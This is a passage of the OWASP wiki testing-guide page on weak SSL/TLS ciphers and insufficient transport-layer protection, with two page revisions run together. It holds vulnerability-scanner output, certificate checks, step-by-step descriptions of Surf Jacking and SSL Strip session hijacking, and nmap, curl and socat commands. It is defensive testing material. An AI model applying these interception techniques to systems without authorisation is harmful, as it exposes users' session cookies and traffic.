[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[*] HTTP elements embedded in SSL page: NOT PRESENT<br />
[*] Immune from MITM malicious content injection attack<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
<br />
Robust Solution (Is it Troublesome for you to add more things for your site security?):<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OWASP-AT-007)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1<br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No<br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 27 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Gray Box testing and example ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]<br />
* [6] [OWASP Testing |https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)][Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)&action=edit&redlink=1]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]<br />
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
'''Tools'''<br />
* [21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
* [27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
* [32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
* [33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
* [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
* [29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
* [31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
* [30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
* [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
* [37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
* [38] [testssl.sh| https://testssl.sh/ ]<br />
* [99] [breacher.sh|http://bl0g.yehg.net/2014/07/ssl-breacher-yet-another-ssl-test-tool.html]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=179066Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-07-21T13:56:22Z<p>D0ubl3 h3lix: /* References */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Description of the Issue == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== Black Box Testing ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
